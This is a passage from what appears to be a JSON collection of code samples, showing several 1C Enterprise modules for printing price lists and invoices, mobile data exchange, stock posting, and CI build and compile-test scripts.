ВставленныйТекст, ШрифтОформления, ЦветТекстаОформления, ЦветФонаОформления, НавигационнаяСсылкаОформления;\n\tРезультатПоиска = Содержимое.НайтиТекст(СтрокаДляПоиска);\n\tПока ((РезультатПоиска <> Неопределено) И (РезультатПоиска.ЗакладкаНачала <> Неопределено) И (РезультатПоиска.ЗакладкаКонца <> Неопределено)) Цикл\n\t\tПозицияНачалаСледующегоЦиклаПоиска = Содержимое.ПолучитьПозициюПоЗакладке(РезультатПоиска.ЗакладкаНачала) + СтрДлина(СтрокаДляЗамены);\n\t\tМассивЭлементовДляОформления = Содержимое.ПолучитьЭлементы(РезультатПоиска.ЗакладкаНачала, РезультатПоиска.ЗакладкаКонца);\n\t\tДля Каждого ЭлементДляОформления Из МассивЭлементовДляОформления Цикл\n\t\t\tЕсли Тип(ЭлементДляОформления) = Тип(\"ТекстФорматированногоДокумента\") Тогда\n\t\t\t\tШрифтОформления = ЭлементДляОформления.Шрифт;\n\t\t\t\tЦветТекстаОформления = ЭлементДляОформления.ЦветТекста;\n\t\t\t\tЦветФонаОформления = ЭлементДляОформления.ЦветФона;\n\t\t\t\tНавигационнаяСсылкаОформления = ЭлементДляОформления.НавигационнаяССылка;\n\t\t\t\tПрервать;\n\t\t\tКонецЕсли;\n\t\tКонецЦикла;\t\n\t\tСодержимое.Удалить(РезультатПоиска.ЗакладкаНачала, РезультатПоиска.ЗакладкаКонца);\n\t\tВставленныйТекст = Содержимое.Вставить(РезультатПоиска.ЗакладкаНачала, СтрокаДляЗамены);\n\t\tЕсли ВставленныйТекст <> Неопределено И ШрифтОформления <> Неопределено Тогда\n\t\t\tВставленныйТекст.Шрифт = ШрифтОформления;\n\t\tКонецЕсли;\n\t\tЕсли ВставленныйТекст <> Неопределено И ЦветТекстаОформления <> Неопределено Тогда\n\t\t\tВставленныйТекст.ЦветТекста = ЦветТекстаОформления;\n\t\tКонецЕсли;\n\t\tЕсли ВставленныйТекст <> Неопределено И ЦветФонаОформления <> Неопределено Тогда\n\t\t\tВставленныйТекст.ЦветФона = ЦветФонаОформления;\n\t\tКонецЕсли;\n\t\tЕсли ВставленныйТекст <> Неопределено И НавигационнаяСсылкаОформления <> Неопределено Тогда\n\t\t\tВставленныйТекст.НавигационнаяССылка = НавигационнаяСсылкаОформления;\n\t\tКонецЕсли;\n\t\t\n\t\tРезультатПоиска = Содержимое.НайтиТекст(СтрокаДляПоиска, Содержимое.ПолучитьЗакладкуПоПозиции(ПозицияНачалаСледующегоЦиклаПоиска));\n\tКонецЦикла;\nКонецПроцедуры\n\n"
  },
  {
    "path": "samples/1C Enterprise/Catalog.Товары.Command.ПечатьПрайсЛиста.CommandModule.bsl",
    "content": "&НаСервере\nФункция ПечатнаяФорма(ПараметрКоманды)\n\tТабличныйДокумент = Новый ТабличныйДокумент;\n\tТабличныйДокумент.ОтображатьСетку = Истина;\n\tТабличныйДокумент.ОтображатьЗаголовки = Истина;\n\t\n\tСформирован = Ложь;\n\tТабМакет = Справочники.Товары.ПолучитьМакет(\"МакетПрайсЛиста\"); \n\n\tШапка = ТабМакет.ПолучитьОбласть(\"Шапка\");\n\tТабличныйДокумент.Вывести(Шапка);\n\n\tОбластьНоменклатура = ТабМакет.ПолучитьОбласть(\"ОбластьНоменклатура\");\n\t\n\tЗапрос = Новый Запрос;\n    Запрос.Текст =  \"ВЫБРАТЬ\n                    |    Товары.Код КАК Код,\n                    |    Товары.Наименование КАК Наименование,\n                    |    Товары.Артикул КАК Артикул,\n                    |    Товары.ФайлКартинки КАК Картинка,\n                    |    Товары.Описание КАК Описание,\n                    |    Товары.Вид КАК Вид,\n                    |    ЦеныТоваров.Цена КАК Цена\n                    |ИЗ\n                    |    РегистрСведений.ЦеныТоваров КАК ЦеныТоваров\n                    |        ЛЕВОЕ СОЕДИНЕНИЕ Справочник.Товары КАК Товары\n                    |        ПО ЦеныТоваров.Товар = Товары.Ссылка\n                    |ГДЕ\n                    |    Товары.ЭтоГруппа = ЛОЖЬ\n                    |    И ЦеныТоваров.ВидЦен = &ВидЦен\n                    |\n                    |УПОРЯДОЧИТЬ ПО\n                    |    Вид,\n                    |    Товары.Родитель.Код,\n                    |    Код\";\n\n    Запрос.УстановитьПараметр(\"ВидЦен\", Справочники.ВидыЦен.НайтиПоНаименованию(\"Розничная\"));\n\t\t\t\t\t\t\n\tВыборка = Запрос.Выполнить().Выбрать();\n\tПока Выборка.Следующий() Цикл\n\t\tОбластьНоменклатура.Параметры.Заполнить(Выборка);\n\t\t\n\t\tОписание = \"\";\n\t\t\n\t\tЧтение = Новый ЧтениеHTML();\n\t\tЧтение.УстановитьСтроку(Выборка.Описание);\n\t\t\n\t\tДокDOM = Новый ПостроительDOM();\n\t\tHTML = ДокDOM.Прочитать(Чтение);\n\t\t\n\t\tЕсли Не HTML.ЭлементДокумента = Неопределено Тогда\n\t\t\tДля Каждого Узел из HTML.ЭлементДокумента.ДочерниеУзлы Цикл \n\t\t\t\tЕсли Узел.ИмяУзла = \"body\" Тогда\n\t\t\t\t\tДля Каждого ЭлементОписания из Узел.ДочерниеУзлы Цикл \n\t\t\t\t\t\tОписание = Описание + ЭлементОписания.ТекстовоеСодержимое;\n\t\t\t\t\tКонецЦикла;\n\t\t\t\tКонецЕсли;\n\t\t\tКонецЦикла;\n\t\tКонецЕсли;\n\t\tОбластьНоменклатура.Параметры.Описание = Описание;\n\t\t\n\t\tЕсли (Выборка.Картинка <> Null) Тогда \n\t\t\tОбластьНоменклатура.Параметры.ПараметрКартинки = Новый Картинка(Выборка.Картинка.ДанныеФайла.Получить());\n\t\tКонецЕсли;\n\t\t\n\t\tТабличныйДокумент.Вывести(ОбластьНоменклатура, Выборка.Уровень());\n\t\tСформирован = Истина;\n\tКонецЦикла;\n\t\n\tЕсли Сформирован Тогда\n\t\tВозврат ТабличныйДокумент;\n\tИначе \t\n\t\tВозврат Неопределено;\n\tКонецЕсли;\t\nКонецФункции\n\n&НаКлиенте\nПроцедура ОбработкаКоманды(ПараметрКоманды, ПараметрыВыполненияКоманды)\n\tТабличныйДокумент = ПечатнаяФорма(ПараметрКоманды);\n\t\n\tЕсли ТабличныйДокумент <> Неопределено Тогда\n\t\tТабличныйДокумент.Показать();\n\tКонецЕсли;\t\n\t\nКонецПроцедуры\n"
  },
  {
    "path": "samples/1C Enterprise/CommonModule.ОбменМобильныеОбщее.Module.bsl",
    "content": "// Процедура на основании анализа типа данных заменяет их на данные, удаляющие\n// информацию из узла в котором их не должно быть\n//\n// Параметры:\n//  Данные\t– Объект, набор записей,... который нужно преобразовать\n//\nПроцедура УдалениеДанных(Данные) \n\t\n\t// Получаем объект описания метаданного, соответствующий данным\n\tОбъектМетаданных = ?(ТипЗнч(Данные) = Тип(\"УдалениеОбъекта\"), Данные.Ссылка.Метаданные(), Данные.Метаданные());\n    // Проверяем тип, интересуют только те типы, которые реализованы на мобильной платформе\n\tЕсли Метаданные.Справочники.Содержит(ОбъектМетаданных)\n\t \tИЛИ Метаданные.Документы.Содержит(ОбъектМетаданных) Тогда\n\t\t\n\t\t// Перенос удаления объекта для объектных\n\t\tДанные = Новый УдалениеОбъекта(Данные.Ссылка);\n\t\t\n\tИначеЕсли Метаданные.РегистрыСведений.Содержит(ОбъектМетаданных)\n\t\tИЛИ Метаданные.РегистрыНакопления.Содержит(ОбъектМетаданных)\n\t\tИЛИ Метаданные.Последовательности.Содержит(ОбъектМетаданных) Тогда\n\t\t\n\t\t// Очищаем данные\n\t\tДанные.Очистить();\n\t\t\n\tКонецЕсли;\t\n\t\nКонецПроцедуры\n\n// Функция формирует пакет обмена, который будет отправлен узлу \"УзелОбмена\" \n//\n// Параметры:\n//  УзелОбмена\t– узел плана обмена \"мобильные\", с которым осуществляется обмен\n//\n// Возвращаемое значение:\n//  сформированный пакет, помещенный в хранилище значения\nФункция СформироватьПакетОбмена(УзелОбмена) Экспорт\n    \n\tЗаписьXML = Новый ЗаписьXML;\n\t\n\tЗаписьXML.УстановитьСтроку(\"UTF-8\");\n\tЗаписьXML.ЗаписатьОбъявлениеXML();\n    \n\tЗаписьСообщения = ПланыОбмена.СоздатьЗаписьСообщения();\n    ЗаписьСообщения.НачатьЗапись(ЗаписьXML, УзелОбмена);\t\t\t\t\t\n    \n\tЗаписьXML.ЗаписатьСоответствиеПространстваИмен(\"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\");\n\tЗаписьXML.ЗаписатьСоответствиеПространстваИмен(\"v8\",  \"http://v8.1c.ru/data\");\n    \n\tТипДанныхУдаления = Тип(\"УдалениеОбъекта\");\n    \n\tВыборкаИзменений = ПланыОбмена.ВыбратьИзменения(УзелОбмена, ЗаписьСообщения.НомерСообщения);\n\tПока ВыборкаИзменений.Следующий() Цикл\n\t\t\n\t\tДанные = ВыборкаИзменений.Получить();\n        \n\t\t// Если перенос данных не нужен, то, возможно, необходимо записать удаление данных\n\t\tЕсли Не ОбменМобильныеПереопределяемый.НуженПереносДанных(Данные, УзелОбмена) Тогда\n\t\t\t\n\t\t\t// Получаем значение с возможным удалением данных\n\t\t\tУдалениеДанных(Данные); \n            \n\t\tКонецЕсли;\t\n\t\t\n\t\t// Записываем данные в сообщение\n\t\tОбменМобильныеПереопределяемый.ЗаписатьДанные(ЗаписьXML, Данные);\n        \n    КонецЦикла;\n    \n\tЗаписьСообщения.ЗакончитьЗапись();\n    \n\tВозврат Новый ХранилищеЗначения(ЗаписьXML.Закрыть(), Новый СжатиеДанных(9));\n    \nКонецФункции\n\n// Процедура вносит в информационную базу данные, которые присланы из узла \"УзелОбмена\" \n//\n// Параметры:\n//  УзелОбмена\t– узел плана обмена \"мобильные\", с которым осуществляется обмен\n//  ДанныеОбмена - пакет обмена полученный из узла УзелОбмена, помещен в ХранилищеЗначения\n//\nПроцедура ПринятьПакетОбмена(УзелОбмена, ДанныеОбмена) Экспорт\n    \n\tЧтениеXML = Новый ЧтениеXML;\n\tЧтениеXML.УстановитьСтроку(ДанныеОбмена.Получить());\n    ЧтениеСообщения = ПланыОбмена.СоздатьЧтениеСообщения();\n\tЧтениеСообщения.НачатьЧтение(ЧтениеXML);\n    ПланыОбмена.УдалитьРегистрациюИзменений(ЧтениеСообщения.Отправитель,ЧтениеСообщения.НомерПринятого);\n\n    НачатьТранзакцию();\n    Пока ВозможностьЧтенияXML(ЧтениеXML) Цикл\n        \n\t\tДанные = ОбменМобильныеПереопределяемый.ПрочитатьДанные(ЧтениеXML);\n        \n\t\tЕсли Не Данные = Неопределено Тогда\n\t\t\t\n            Данные.ОбменДанными.Отправитель = ЧтениеСообщения.Отправитель;\n            Данные.ОбменДанными.Загрузка = Истина;\n            \n            Данные.Записать();\n        \n        КонецЕсли;\n        \n    КонецЦикла;\n    ЗафиксироватьТранзакцию();\n    \n    ЧтениеСообщения.ЗакончитьЧтение();\n    ЧтениеXML.Закрыть();\n    \nКонецПроцедуры\n"
  },
  {
    "path": "samples/1C Enterprise/Document.РасходТовара.ObjectModule.bsl",
    "content": "//////////////////////////////////////////////////////////////////////////////// \r\r\n// ПРОЦЕДУРЫ И ФУНКЦИИ\r\r\n//\r\r\n\r\r\n// Формирование печатной формы документа\r\r\n// \r\r\n// Параметры: \r\r\n//  Нет. \r\r\n// \r\r\n// Возвращаемое значение: \r\r\n//  ТабличныйДокумент - Сформированный табличный документ.\r\r\nПроцедура ПечатнаяФорма(ТабличныйДокумент) Экспорт\r\n\r\r\n\tМакет = Документы.РасходТовара.ПолучитьМакет(\"МакетПечати\");\r\n\r\r\n\t// Заголовок\r\r\n\tОбласть = Макет.ПолучитьОбласть(\"Заголовок\");\r\r\n\tТабличныйДокумент.Вывести(Область);\r\n\r\r\n\t// Шапка\r\r\n\tШапка = Макет.ПолучитьОбласть(\"Шапка\");\r\r\n\tШапка.Параметры.Заполнить(ЭтотОбъект);\r\r\n\tТабличныйДокумент.Вывести(Шапка);\r\n\r\r\n\t// Товары\r\r\n\tОбласть = Макет.ПолучитьОбласть(\"ТоварыШапка\");\r\r\n\tТабличныйДокумент.Вывести(Область);\r\r\n\tОбластьТовары = Макет.ПолучитьОбласть(\"Товары\");\r\n\r\r\n\tДля каждого ТекСтрокаТовары Из Товары Цикл\r\n\r\r\n\t\tОбластьТовары.Параметры.Заполнить(ТекСтрокаТовары);\r\r\n\t\tТабличныйДокумент.Вывести(ОбластьТовары);\r\n\r\r\n\tКонецЦикла;\r\r\n\r\nКонецПроцедуры\r\r\n\r\n// Формирование печатной формы документа\r\n// \r\n// Параметры: \r\n//  Нет. \r\n// \r\n// Возвращаемое значение: \r\n//  ТабличныйДокумент - Сформированный табличный документ.\r\nПроцедура Пересчитать() Экспорт\r\n\r\n\tДля каждого ТекСтрокаТовары Из Товары Цикл\r\n\r\n\t\tТекСтрокаТовары.Сумма = ТекСтрокаТовары.Количество * ТекСтрокаТовары.Цена;\r\n\r\n\tКонецЦикла;\r\n\r\nКонецПроцедуры\r\n\r\n////////////////////////////////////////////////////////////////////////////////\r\r\n// ОБРАБОТЧИКИ СОБЫТИЙ ОБЪЕКТА\r\r\n\r\nПроцедура ОбработкаПроведения(Отказ, Режим)\r\n\r\n\t// Формирование движений регистров накопления ТоварныеЗапасы и Продажи.\r\n\tДвижения.ТоварныеЗапасы.Записывать = Истина;\r\n\tДвижения.Продажи.Записывать = Истина;\r\n\tЕсли Режим = РежимПроведенияДокумента.Оперативный Тогда\r\n\t\tДвижения.ТоварныеЗапасы.БлокироватьДляИзменения = Истина;\r\n\tКонецЕсли;\t\r\n\r\n\t// Создадим запрос, чтобы получать информацию об услугах\r\n\tЗапрос = Новый Запрос(\"ВЫБРАТЬ\r\n\t\t\t\t\t\t  |    ТоварыВДокументе.НомерСтроки КАК НомерСтроки\r\n\t\t\t\t\t\t  |ИЗ\r\n\t\t\t\t\t\t  |    Документ.РасходТовара.Товары КАК ТоварыВДокументе\r\n\t\t\t\t\t\t  |ГДЕ\r\n\t\t\t\t\t\t  |    ТоварыВДокументе.Ссылка = &Ссылка\r\n\t\t\t\t\t\t  |    И ТоварыВДокументе.Товар.Вид = ЗНАЧЕНИЕ(Перечисление.ВидыТоваров.Услуга)\");\r\n\r\n\tЗапрос.УстановитьПараметр(\"Ссылка\", Ссылка);\r\n\tРезультатУслуги = Запрос.Выполнить().Выгрузить();\r\n\tРезультатУслуги.Индексы.Добавить(\"НомерСтроки\");\r\n\r\n\tДля каждого ТекСтрокаТовары Из Товары Цикл\r\n\r\n\t\tСтрока = РезультатУслуги.Найти(ТекСтрокаТовары.НомерСтроки, \"НомерСтроки\");\r\n\t\tЕсли Строка = Неопределено Тогда\r\n\t\t\t\r\n\t\t\t// Не услуга\r\n\t\t\tДвижение = Движения.ТоварныеЗапасы.Добавить();\r\n\t\t\tДвижение.ВидДвижения = ВидДвиженияНакопления.Расход;\r\n\t\t\tДвижение.Период = Дата;\r\n\t\t\tДвижение.Товар = ТекСтрокаТовары.Товар;\r\n\t\t\tДвижение.Склад = Склад;\r\n\t\t\tДвижение.Количество = ТекСтрокаТовары.Количество;\r\n\r\n\t\tКонецЕсли;\r\n\r\n\t\tДвижение = Движения.Продажи.Добавить();\r\n\t\tДвижение.Период = Дата;\r\n\t\tДвижение.Товар = ТекСтрокаТовары.Товар;\r\n\t\tДвижение.Покупатель = Покупатель;\r\n\t\tДвижение.Количество = ТекСтрокаТовары.Количество;\r\n\t\tДвижение.Сумма = ТекСтрокаТовары.Сумма;\r\n\r\n\tКонецЦикла;\r\n\r\n\t// Формирование движения регистра накопления Взаиморасчеты.\r\n\tДвижения.Взаиморасчеты.Записывать = Истина;\r\n\tДвижение = Движения.Взаиморасчеты.Добавить();\r\n\tДвижение.ВидДвижения = ВидДвиженияНакопления.Расход;\r\n\tДвижение.Период = Дата;\r\n\tДвижение.Контрагент = Покупатель;\r\n\tДвижение.Валюта = Валюта;\r\n\r\n\tЕсли Валюта.Пустая() Тогда\r\n\t\tДвижение.Сумма = Товары.Итог(\"Сумма\");\r\n\tИначе\r\n\r\n\t\tКурс = РегистрыСведений.КурсыВалют.ПолучитьПоследнее(Дата, Новый Структура(\"Валюта\", Валюта)).Курс;\r\n\r\n\t\tЕсли Курс = 0 Тогда\r\n\t\t\tДвижение.Сумма = Товары.Итог(\"Сумма\");\r\n\t\tИначе\r\n\t\t\tДвижение.Сумма = Товары.Итог(\"Сумма\") / Курс;\r\n\t\tКонецЕсли;\r\n\r\n\tКонецЕсли;\r\n\r\n\t//Запишем движения\r\n\tДвижения.Записать();\r\n\t\r\n\t//Контроль остатков при оперативном проведении\r\n\tЕсли Режим = РежимПроведенияДокумента.Оперативный Тогда\r\n\t\t// Создадим запрос, чтобы контролировать остатки по товарам\r\n\t\tЗапрос = Новый Запрос(\"ВЫБРАТЬ\r\n\t\t\t\t\t\t\t  |    ТоварыВДокументе.Товар КАК Товар,\r\n\t\t\t\t\t\t\t  |    СУММА(ТоварыВДокументе.Количество) КАК Количество,\r\n\t\t\t\t\t\t\t  |    МАКСИМУМ(ТоварыВДокументе.НомерСтроки) КАК НомерСтроки\r\n\t\t\t\t\t\t\t  |\r\n\t\t\t\t\t\t\t  |ПОМЕСТИТЬ ТребуетсяТовара\r\n\t\t\t\t\t\t\t  |\r\n\t\t\t\t\t\t\t  |ИЗ\r\n\t\t\t\t\t\t\t  |    Документ.РасходТовара.Товары КАК ТоварыВДокументе\r\n\t\t\t\t\t\t\t  |\r\n\t\t\t\t\t\t\t  |ГДЕ\r\n\t\t\t\t\t\t\t  |    ТоварыВДокументе.Ссылка = &Ссылка\r\n\t\t\t\t\t\t\t  |    И ТоварыВДокументе.Товар.Вид = ЗНАЧЕНИЕ(Перечисление.ВидыТоваров.Товар)\r\n\t\t\t\t\t\t\t  |\r\n\t\t\t\t\t\t\t  |СГРУППИРОВАТЬ ПО\r\n\t\t\t\t\t\t\t  |    ТоварыВДокументе.Товар\r\n\t\t\t\t\t\t\t  |\r\n\t\t\t\t\t\t\t  |ИНДЕКСИРОВАТЬ ПО\r\n\t\t\t\t\t\t\t  |    Товар\r\n\t\t\t\t\t\t\t  |;\r\n\t\t\t\t\t\t\t  |\r\n\t\t\t\t\t\t\t  |////////////////////////////////////////////////////////////////////////////////\r\n\t\t\t\t\t\t\t  |ВЫБРАТЬ\r\n\t\t\t\t\t\t\t  |    ПРЕДСТАВЛЕНИЕ(ТребуетсяТовара.Товар) КАК ТоварПредставление,\r\n\t\t\t\t\t\t\t  |    ВЫБОР\r\n\t\t\t\t\t\t\t  |        КОГДА - ЕСТЬNULL(ТоварныеЗапасыОстатки.КоличествоОстаток, 0) > ТоварыВДокументе.Количество\r\n\t\t\t\t\t\t\t  |            ТОГДА ТоварыВДокументе.Количество\r\n\t\t\t\t\t\t\t  |        ИНАЧЕ - ЕСТЬNULL(ТоварныеЗапасыОстатки.КоличествоОстаток, 0)\r\n\t\t\t\t\t\t\t  |    КОНЕЦ КАК Нехватка,\r\n\t\t\t\t\t\t\t  |    ТоварыВДокументе.Количество - ВЫБОР\r\n\t\t\t\t\t\t\t  |        КОГДА - ЕСТЬNULL(ТоварныеЗапасыОстатки.КоличествоОстаток, 0) > ТоварыВДокументе.Количество\r\n\t\t\t\t\t\t\t  |            ТОГДА ТоварыВДокументе.Количество\r\n\t\t\t\t\t\t\t  |        ИНАЧЕ - ЕСТЬNULL(ТоварныеЗапасыОстатки.КоличествоОстаток, 0)\r\n\t\t\t\t\t\t\t  |    КОНЕЦ КАК МаксимальноеКоличество,\r\n\t\t\t\t\t\t\t  |    ТребуетсяТовара.НомерСтроки КАК НомерСтроки\r\n\t\t\t\t\t\t\t  |\r\n\t\t\t\t\t\t\t  |ИЗ\r\n\t\t\t\t\t\t\t  |    ТребуетсяТовара КАК ТребуетсяТовара\r\n\t\t\t\t\t\t\t  |        ЛЕВОЕ СОЕДИНЕНИЕ РегистрНакопления.ТоварныеЗапасы.Остатки(\r\n\t\t\t\t\t\t\t  |                ,\r\n\t\t\t\t\t\t\t  |                Товар В\r\n\t\t\t\t\t\t\t  |                        (ВЫБРАТЬ\r\n\t\t\t\t\t\t\t  |                            ТребуетсяТовара.Товар\r\n\t\t\t\t\t\t\t  |                        ИЗ\r\n\t\t\t\t\t\t\t  |                            ТребуетсяТовара)\r\n\t\t\t\t\t\t\t  |                    И Склад = &Склад) КАК ТоварныеЗапасыОстатки\r\n\t\t\t\t\t\t\t  |        ПО ТребуетсяТовара.Товар = ТоварныеЗапасыОстатки.Товар\r\n\t\t\t\t\t\t\t  |        ЛЕВОЕ СОЕДИНЕНИЕ Документ.РасходТовара.Товары КАК ТоварыВДокументе\r\n\t\t\t\t\t\t\t  |        ПО ТребуетсяТовара.Товар = ТоварыВДокументе.Товар\r\n\t\t\t\t\t\t\t  |            И ТребуетсяТовара.НомерСтроки = ТоварыВДокументе.НомерСтроки\r\n\t\t\t\t\t\t\t  |\r\n\t\t\t\t\t\t\t  |ГДЕ\r\n\t\t\t\t\t\t\t  |    ТоварыВДокументе.Ссылка = &Ссылка И\r\n\t\t\t\t\t\t\t  |    0 > ЕСТЬNULL(ТоварныеЗапасыОстатки.КоличествоОстаток, 0)\r\n\t\t\t\t\t\t\t  |\r\n\t\t\t\t\t\t\t  |УПОРЯДОЧИТЬ ПО\r\n\t\t\t\t\t\t\t  |    НомерСтроки\");\r\n\r\n\t\tЗапрос.УстановитьПараметр(\"Склад\", Склад);\r\n\t\tЗапрос.УстановитьПараметр(\"Ссылка\", Ссылка);\r\n\t\tРезультатСНехваткой = Запрос.Выполнить();\r\n\r\n\t\tВыборкаРезультатаСНехваткой = РезультатСНехваткой.Выбрать();\r\n\r\n\t\t// Выдадим ошибки для строк, в которых не хватает остатка\r\n\t\tПока ВыборкаРезультатаСНехваткой.Следующий() Цикл\r\n\r\n\t\t\tСообщение = Новый СообщениеПользователю();\r\n\t\t\tСообщение.Текст = НСтр(\"ru = 'Не хватает '\", \"ru\") \r\n\t\t\t\t+ ВыборкаРезультатаСНехваткой.Нехватка \r\n\t\t\t\t+ НСтр(\"ru = ' единиц товара'\", \"ru\") + \"\"\"\" \r\n\t\t\t\t+ ВыборкаРезультатаСНехваткой.ТоварПредставление \r\n\t\t\t\t+ \"\"\"\" \r\n\t\t\t\t+ НСтр(\"ru = ' на складе'\", \"ru\") \r\n\t\t\t\t+ \"\"\"\" \r\n\t\t\t\t+ Склад \r\n\t\t\t\t+ \"\"\".\" \r\n\t\t\t\t+ НСтр(\"ru = 'Максимальное количество: '\", \"ru\") \r\n\t\t\t\t+ ВыборкаРезультатаСНехваткой.МаксимальноеКоличество \r\n\t\t\t\t+ \".\";\r\n\t\t\tСообщение.Поле = НСтр(\"ru = 'Товары'\", \"ru\") \r\n\t\t\t\t+ \"[\" \r\n\t\t\t\t+ (ВыборкаРезультатаСНехваткой.НомерСтроки - 1) \r\n\t\t\t\t+ \"].\" \r\n\t\t\t\t+ НСтр(\"ru = 'Количество'\", \"ru\");\r\n\t\t\tСообщение.УстановитьДанные(ЭтотОбъект);\r\n\t\t\tСообщение.Сообщить();\r\n\t\t\tОтказ = Истина;\r\n\r\n\t\tКонецЦикла;\r\n\r\n\tКонецЕсли;\r\n\t\r\nКонецПроцедуры\r\n\r\nПроцедура ОбработкаПроверкиЗаполнения(Отказ, ПроверяемыеРеквизиты)\t\t\r\n\t// Проверим заполненность поля \"Покупатель\"\r\r\n\tЕсли Покупатель.Пустая() Тогда\r\n\r\r\n\t\t// Если поле Покупатель не заполнено, сообщим об этом пользователю\r\r\n\t\tСообщение = Новый СообщениеПользователю();\r\r\n\t\tСообщение.Текст = НСтр(\"ru = 'Не указан Покупатель, для которого выписывается накладная!'\", \"ru\");\r\r\n\t\tСообщение.Поле = НСтр(\"ru = 'Покупатель'\", \"ru\");\r\n\t\tСообщение.УстановитьДанные(ЭтотОбъект);\r\n\r\r\n\t\tСообщение.Сообщить();\r\r\n\r\r\n\t\t// Сообщим платформе, что мы сами обработали проверку заполнения поля \"Покупатель\"\r\r\n\t\tПроверяемыеРеквизиты.Удалить(ПроверяемыеРеквизиты.Найти(\"Покупатель\"));\r\r\n\t\t// Так как информация в документе не консистентна, то продолжать работу дальше смысла нет\r\r\n\t\tОтказ = Истина;\r\n\r\r\n\tКонецЕсли;\r\r\n\r\n\t//Если склад не заполнен, то проверим есть ли в документе что-то кроме услуг\r\n\tЕсли Склад.Пустая() И Товары.Количество() > 0 Тогда\r\n\r\n\t\t// Создадим запрос, чтобы получать информацию об товарах\r\n\t\tЗапрос = Новый Запрос(\"ВЫБРАТЬ\r\n\t\t\t\t\t\t\t  |    Количество(*) КАК Количество\r\n\t\t\t\t\t\t\t  |ИЗ\r\n\t\t\t\t\t\t\t  |    Справочник.Товары КАК Товары\r\n\t\t\t\t\t\t\t  |ГДЕ\r\n\t\t\t\t\t\t\t  |    Товары.Ссылка В (&ТоварыВДокументе)\r\n\t\t\t\t\t\t\t  |    И Товары.Вид = ЗНАЧЕНИЕ(Перечисление.ВидыТоваров.Товар)\");\r\n\r\n\t\tЗапрос.УстановитьПараметр(\"ТоварыВДокументе\", Товары.ВыгрузитьКолонку(\"Товар\"));\r\n\t\tВыборка = Запрос.Выполнить().Выбрать();\r\n\t\tВыборка.Следующий();\r\n\t\tЕсли Выборка.Количество = 0 Тогда\r\n\t\t\t// Сообщим платформе, что мы сами обработали проверку заполнения поля \"Склад\"\r\n\t\t\tПроверяемыеРеквизиты.Удалить(ПроверяемыеРеквизиты.Найти(\"Склад\"));\r\n\t\tКонецЕсли;\r\n\r\n\tКонецЕсли;\r\n\r\r\nКонецПроцедуры\r\n\r\nПроцедура ОбработкаЗаполнения(ДанныеЗаполнения, СтандартнаяОбработка)\r\n\r\n\tЕсли ТипЗнч(ДанныеЗаполнения) = Тип(\"СправочникСсылка.Контрагенты\") Тогда\r\n\r\n\t\tЗапросПоКонтрагенту = Новый Запрос(\"ВЫБРАТЬ\r\n\t\t                                   |\tКонтрагенты.ЭтоГруппа,\r\n\t\t                                   |\tКонтрагенты.ВидЦен\r\n\t\t                                   |ИЗ\r\n\t\t                                   |\tСправочник.Контрагенты КАК Контрагенты\r\n\t\t                                   |ГДЕ\r\n\t\t                                   |\tКонтрагенты.Ссылка = &КонтрагентСсылка\");\r\n\t\tЗапросПоКонтрагенту.УстановитьПараметр(\"КонтрагентСсылка\", ДанныеЗаполнения);\r\n\t\tВыборка = ЗапросПоКонтрагенту.Выполнить().Выбрать();\r\n\t\tЕсли Выборка.Следующий() И Выборка.ЭтоГруппа Тогда\r\n\t\t\tВозврат;\r\n\t\tКонецЕсли;\r\n\t\t\r\n\t\tВидЦен     = Выборка.ВидЦен;\r\n\t\tПокупатель = ДанныеЗаполнения.Ссылка;\r\n\r\n\tИначеЕсли ТипЗнч(ДанныеЗаполнения) = Тип(\"Структура\") Тогда\r\n\r\n\t\tЗначение = Неопределено;\r\n\r\n\t\tЕсли ДанныеЗаполнения.Свойство(\"Покупатель\", Значение) Тогда\r\n\t\t\tВидЦен = Значение.ВидЦен;\r\n\t\tКонецЕсли;\r\n\r\n\tКонецЕсли;\r\n\r\nКонецПроцедуры\r\n\r\n"
  },
  {
    "path": "samples/1C Enterprise/ci_before_script.os",
    "content": "﻿Каталог = ОбъединитьПути(ТекущийКаталог(), \"libs\\oscript-library\\src\");\nЗагрузчик_Оригинал_ИмяФайла = ОбъединитьПути(Каталог, \"package-loader.os\");\n\nФайлы = НайтиФайлы(Каталог, , Ложь);\nДля Каждого ВыбФайл Из Файлы Цикл\n\n    Если ВыбФайл.ЭтоФайл() Тогда\n        Продолжить;\n    КонецЕсли;\n\n    Загрузчик_ИмяФайла = ОбъединитьПути(ВыбФайл.ПолноеИмя, \"package-loader.os\");\n    Загрузчик_Файл = Новый Файл(Загрузчик_ИмяФайла);\n\n    Если Загрузчик_Файл.Существует() Тогда\n        Продолжить;\n    КонецЕсли;\n\n    КопироватьФайл(Загрузчик_Оригинал_ИмяФайла, Загрузчик_ИмяФайла);\n\nКонецЦикла;"
  },
  {
    "path": "samples/1C Enterprise/test_canCompile.os",
    "content": "﻿#Использовать \"../libs/oscript-library/src/v8runner\"\n#Использовать \"../libs/oscript-library/src/tempfiles\"\n\nПерем Лог;\nПерем КодВозврата;\n\nПроцедура Инициализация()\n\n\tЛог = Логирование.ПолучитьЛог(\"oscript.app.gitlab-test_CanCompile\");\n\tКодВозврата = 0;\n\nКонецПроцедуры\n\nПроцедура ВыполнитьТест()\n\n\tКонфигуратор = Новый УправлениеКонфигуратором();\n\n\tПараметрыЗапуска = Конфигуратор.ПолучитьПараметрыЗапуска();\n\tКомандаЗапуска = \"/LoadConfigFromFiles \"\"%1\"\"\";\n\tКомандаЗапуска = СтрШаблон(КомандаЗапуска, ТекущийКаталог() + \"\\source\\cf\");\n\n\tЛог.Информация(\"Команда обновления конфигурации: \" + КомандаЗапуска);\n\n\tПараметрыЗапуска.Добавить(КомандаЗапуска);\n\n\tПопытка\n\t    Конфигуратор.ВыполнитьКоманду(ПараметрыЗапуска);\n\tИсключение\n\n\t    Лог.Ошибка(Конфигуратор.ВыводКоманды());\n\t    КодВозврата = 1;\n\n\tКонецПопытки;\n\n\tУдалитьФайлы(Конфигуратор.ПутьКВременнойБазе());\n\nКонецПроцедуры\n\nИнициализация();\nВыполнитьТест();\n\nЗавершитьРаботу(КодВозврата);"
  },
  {
    "path": "samples/2-Dimensional Array/appearance.2da",
